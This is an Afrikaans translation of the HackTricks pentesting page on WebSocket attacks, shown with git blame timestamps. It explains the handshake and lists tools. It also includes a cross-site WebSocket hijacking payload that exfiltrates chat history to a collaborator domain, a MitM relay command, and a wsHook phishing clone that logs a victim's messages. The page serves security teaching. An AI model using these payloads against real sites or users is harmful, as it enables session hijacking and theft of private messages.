hacktricks/pentesting-web/websocket-attacks.md

183 lines
12 KiB
Markdown
Raw Normal View History

2024-02-11 02:07:06 +00:00
# WebSocket Aanvalle
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 02:07:06 +00:00
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:07:06 +00:00
Ander maniere om HackTricks te ondersteun:
2023-12-31 02:25:17 +01:00
2024-02-11 02:07:06 +00:00
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
2022-04-28 16:01:33 +00:00
</details>
2024-02-11 02:07:06 +00:00
## Wat is WebSockets
2024-02-11 02:07:06 +00:00
WebSocket-verbindinge word tot stand gebring deur 'n aanvanklike **HTTP** handskud en is ontwerp om **langdurig** te wees, wat bidireksionele boodskappe op enige tyd moontlik maak sonder die nodig vir 'n transaksionele stelsel. Dit maak WebSockets besonders voordelig vir toepassings wat **lae latensie of bediener-geïnisieerde kommunikasie** vereis, soos lewendige finansiële datastrome.
2024-02-11 02:07:06 +00:00
### Vestiging van WebSocket-verbindinge
2024-02-11 02:07:06 +00:00
'n Gedetailleerde verduideliking oor die vestiging van WebSocket-verbindinge kan hier geraadpleeg word [**hier**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc). Kortliks word WebSocket-verbindinge gewoonlik geïnisieer deur kliëntkant JavaScript soos hieronder getoon:
```javascript
var ws = new WebSocket("wss://normal-website.com/ws");
```
2024-02-11 02:07:06 +00:00
Die `wss` protokol dui op 'n WebSocket verbinding wat beveilig is met **TLS**, terwyl `ws` 'n **onbeveiligde** verbinding aandui.
2024-02-11 02:07:06 +00:00
Tydens die verbinding totstandkoming, word 'n handshake uitgevoer tussen die webblaaier en bediener oor HTTP. Die handshake proses behels dat die webblaaier 'n versoek stuur en die bediener antwoord, soos geïllustreer in die volgende voorbeelde:
2024-02-11 02:07:06 +00:00
Webblaaier stuur 'n handshake versoek:
```javascript
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
```
2024-02-11 02:07:06 +00:00
Bediener se handskud-reaksie:
```javascript
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
```
2024-02-11 02:07:06 +00:00
Die verbinding bly oop vir boodskapuitruiling in beide rigtings nadat dit gevestig is.
2024-02-11 02:07:06 +00:00
**Kernpunte van die WebSocket Handshake:**
2024-02-11 02:07:06 +00:00
- Die `Connection` en `Upgrade` koppele dui die begin van 'n WebSocket handshake aan.
- Die `Sec-WebSocket-Version` kop dui die gewenste WebSocket-protokolverisie aan, gewoonlik `13`.
- 'n Base64-gekodeerde lukrake waarde word gestuur in die `Sec-WebSocket-Key` kop, wat verseker dat elke handshake uniek is en help om probleme met opgeslane proksi's te voorkom. Hierdie waarde is nie vir outentisering nie, maar om te bevestig dat die respons nie deur 'n verkeerd gekonfigureerde bediener of opgeslote gegenereer word nie.
- Die `Sec-WebSocket-Accept` kop in die bediener se respons is 'n has van die `Sec-WebSocket-Key`, wat die bediener se voorneme om 'n WebSocket-verbinding oop te maak, bevestig.
2024-02-11 02:07:06 +00:00
Hierdie kenmerke verseker dat die handshake-proses veilig en betroubaar is, wat die pad baan vir doeltreffende werklike tyd kommunikasie.
2024-02-11 02:07:06 +00:00
### Linux-konsole
2024-02-11 02:07:06 +00:00
Jy kan `websocat` gebruik om 'n rou verbinding met 'n websocket te vestig.
2021-02-22 16:59:36 +00:00
```bash
2021-02-22 15:05:55 +00:00
websocat --insecure wss://10.10.10.10:8000 -v
```
2024-02-11 02:07:06 +00:00
Of om 'n websocat-bediener te skep:
2021-02-22 16:59:36 +00:00
```bash
websocat -s 0.0.0.0:8000 #Listen in port 8000
```
2024-02-11 02:07:06 +00:00
### MitM-websocket-verbinding
2021-02-22 16:59:36 +00:00
2024-02-11 02:07:06 +00:00
As jy vind dat kliënte gekoppel is aan 'n **HTTP-websocket** vanaf jou huidige plaaslike netwerk, kan jy 'n [ARP Spoofing-aanval](../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) probeer om 'n MitM-aanval tussen die kliënt en die bediener uit te voer.\
Sodra die kliënt probeer om te koppel, kan jy dan gebruik maak van:
2021-02-22 16:59:36 +00:00
```bash
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
```
2024-02-11 02:07:06 +00:00
### Websockets opsporing
2021-02-22 16:59:36 +00:00
2024-02-11 02:07:06 +00:00
Jy kan die **werktuig** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) gebruik om outomaties websockets te ontdek, vingerafdruk te neem en te soek vir bekende kwesbaarhede.
2021-12-30 10:14:05 +00:00
2024-02-11 02:07:06 +00:00
### Websocket Debug-werktuie
2024-02-11 02:07:06 +00:00
* **Burp Suite** ondersteun MitM websockets kommunikasie op 'n baie soortgelyke manier as vir gewone HTTP kommunikasie.
* Die [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite-uitbreiding** sal jou in staat stel om Websocket kommunikasie beter te bestuur in Burp deur die **geskiedenis** te kry, **onderskeppingreëls** in te stel, **pas en vervang** reëls te gebruik, **Intruder** en **AutoRepeater** te gebruik.
* [**WSSiP**](https://github.com/nccgroup/wssip)**:** Afkorting vir "**WebSocket/Socket.io Proxy**", hierdie werktuig, geskryf in Node.js, bied 'n gebruikerskoppelvlak om alle WebSocket- en Socket.IO-kommunikasie tussen die kliënt en bediener te **vang, onderskep, aangepaste** boodskappe te stuur en te sien.
* [**wsrepl**](https://github.com/doyensec/wsrepl) is 'n **interaktiewe websocket REPL** wat spesifiek ontwerp is vir penetrasietoetsing. Dit bied 'n koppelvlak om **inkomende websocket-boodskappe waar te neem en nuwes te stuur**, met 'n maklik-om-te-gebruik raamwerk vir die **outomatiese** kommunikasie.
* [**https://websocketking.com/**](https://websocketking.com/) dit is 'n **web om te kommunikeer** met ander webwerwe deur gebruik te maak van **websockets**.
* [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) onder andere tipes kommunikasie/protokolle, bied dit 'n **web om te kommunikeer** met ander webwerwe deur gebruik te maak van **websockets**.
2024-02-11 02:07:06 +00:00
## Websocket-laboratorium
2024-02-11 02:07:06 +00:00
In [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) het jy 'n kode om 'n webwerf te begin met behulp van websockets en in [**hierdie pos**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) kan jy 'n verduideliking vind.
2024-02-11 02:07:06 +00:00
## Cross-site WebSocket-ontvoering (CSWSH)
2024-02-11 02:07:06 +00:00
**Cross-site WebSocket-ontvoering**, ook bekend as **cross-origin WebSocket-ontvoering**, word geïdentifiseer as 'n spesifieke geval van **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** wat WebSocket-handskommunikasies affekteer. Hierdie kwesbaarheid ontstaan wanneer WebSocket-handskommunikasies slegs geverifieer word deur middel van **HTTP-koekies** sonder CSRF-token of soortgelyke sekuriteitsmaatreëls.
2024-02-11 02:07:06 +00:00
Aanvallers kan dit uitbuit deur 'n **skadelike webbladsy** te hê wat 'n kruis-oorsprong WebSocket-verbinding met 'n kwesbare toepassing inisieer. Gevolglik word hierdie verbinding beskou as deel van die slagoffer se sessie met die toepassing, wat die gebrek aan CSRF-beskerming in die sessiehanteringmeganisme uitbuit.
2024-02-11 02:07:06 +00:00
### Eenvoudige Aanval
2024-02-11 02:07:06 +00:00
Let daarop dat wanneer 'n **websocket**-verbinding **opgestel** word, die **koekie** na die bediener **gestuur** word. Die bediener kan dit gebruik om elke **spesifieke gebruiker te koppel aan sy websocket-sessie gebaseer op die gestuurde koekie**.
2021-02-22 16:59:36 +00:00
2024-02-11 02:07:06 +00:00
Dus, as byvoorbeeld die **websocket**-bediener die geskiedenis van die gesprek terugstuur van 'n gebruiker as 'n boodskap met "**READY**" gestuur word, sal 'n eenvoudige XSS wat die verbinding opstel (die **koekie** sal outomaties gestuur word om die slagoffer-gebruiker te magtig) deur "**READY**" te stuur in staat wees om die geskiedenis van die gesprek te **herwin**.
2021-02-22 16:59:36 +00:00
```markup
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
2024-02-11 02:07:06 +00:00
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
2024-02-11 02:07:06 +00:00
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>
```
2024-02-11 02:07:06 +00:00
### Kruis Oorsprong + Koekie met 'n ander subdomein
2024-02-11 02:07:06 +00:00
In hierdie blogpos [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) het die aanvaller daarin geslaag om **arbitrêre Javascript in 'n subdomein** van die domein waar die websocket kommunikasie plaasvind, uit te voer. Omdat dit 'n **subdomein** was, is die **koekie** gestuur, en omdat die **Websocket nie die Oorsprong behoorlik nagegaan het nie**, was dit moontlik om daarmee te kommunikeer en **tokens daaruit te steel**.
2023-03-15 09:29:52 +00:00
2024-02-11 02:07:06 +00:00
### Steel data van gebruiker
2021-02-22 16:59:36 +00:00
2024-02-11 02:07:06 +00:00
Kopieer die webtoepassing wat jy wil naboots (die .html-lêers byvoorbeeld) en voeg hierdie kode by binne die skrips waar die websocket kommunikasie plaasvind:
2021-02-22 16:59:36 +00:00
```javascript
//This is the script tag to load the websocket hooker
<script src='wsHook.js'></script>
//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function(data, url) {
2024-02-11 02:07:06 +00:00
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "client_msg?m="+data, true);
xhttp.send();
2021-02-22 16:59:36 +00:00
}
wsHook.after = function(messageEvent, url, wsObject) {
2024-02-11 02:07:06 +00:00
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
xhttp.send();
return messageEvent;
2022-04-05 18:24:52 -04:00
}
2021-02-22 16:59:36 +00:00
```
2024-02-11 02:07:06 +00:00
Laai nou die `wsHook.js` lêer af vanaf [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) en **stoor dit binne die vouer met die web lêers**.\
Deur die webtoepassing bloot te stel en 'n gebruiker daarmee te laat verbind, sal jy in staat wees om die gestuurde en ontvangste boodskappe via die websocket te steel:
2021-02-22 16:59:36 +00:00
```javascript
sudo python3 -m http.server 80
```
2024-02-11 02:07:06 +00:00
## Wedloopvoorwaardes
2021-02-22 16:59:36 +00:00
2024-02-11 02:07:06 +00:00
Wedloopvoorwaardes in WebSockets is ook 'n ding, [kyk hierdie inligting om meer te leer](race-condition.md#rc-in-websockets).
2024-02-11 02:07:06 +00:00
## Ander kwesbaarhede
2024-02-11 02:07:06 +00:00
Aangesien WebSockets 'n meganisme is om data na die bedienerkant en kliëntkant te stuur, afhangende van hoe die bediener en kliënt die inligting hanteer, kan WebSockets gebruik word om verskeie ander kwesbaarhede soos XSS, SQLi of enige ander algemene web-kwesbaarheid te misbruik deur die inset van 'n gebruiker van 'n websocket.
2021-02-23 13:55:20 +00:00
2022-06-19 14:00:50 +00:00
## **WebSocket Smuggling**
2024-02-11 02:07:06 +00:00
Hierdie kwesbaarheid kan jou in staat stel om omgekeerde proksi-beperkings te omseil deur hulle te laat glo dat 'n websocket-kommunikasie tot stand gebring is (selfs al is dit nie waar nie). Dit kan 'n aanvaller in staat stel om toegang te verkry tot verborge eindpunte. Vir meer inligting, kyk na die volgende bladsy:
2022-06-19 14:00:50 +00:00
{% content-ref url="h2c-smuggling.md" %}
[h2c-smuggling.md](h2c-smuggling.md)
{% endcontent-ref %}
2024-02-11 02:07:06 +00:00
## Verwysings
2021-02-23 13:55:20 +00:00
2024-02-06 04:10:38 +01:00
* [https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages](https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages)
2020-07-29 09:22:22 +00:00
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 02:07:06 +00:00
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:07:06 +00:00
Ander maniere om HackTricks te ondersteun:
2023-12-31 02:25:17 +01:00
2024-02-11 02:07:06 +00:00
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
2022-04-28 16:01:33 +00:00
</details>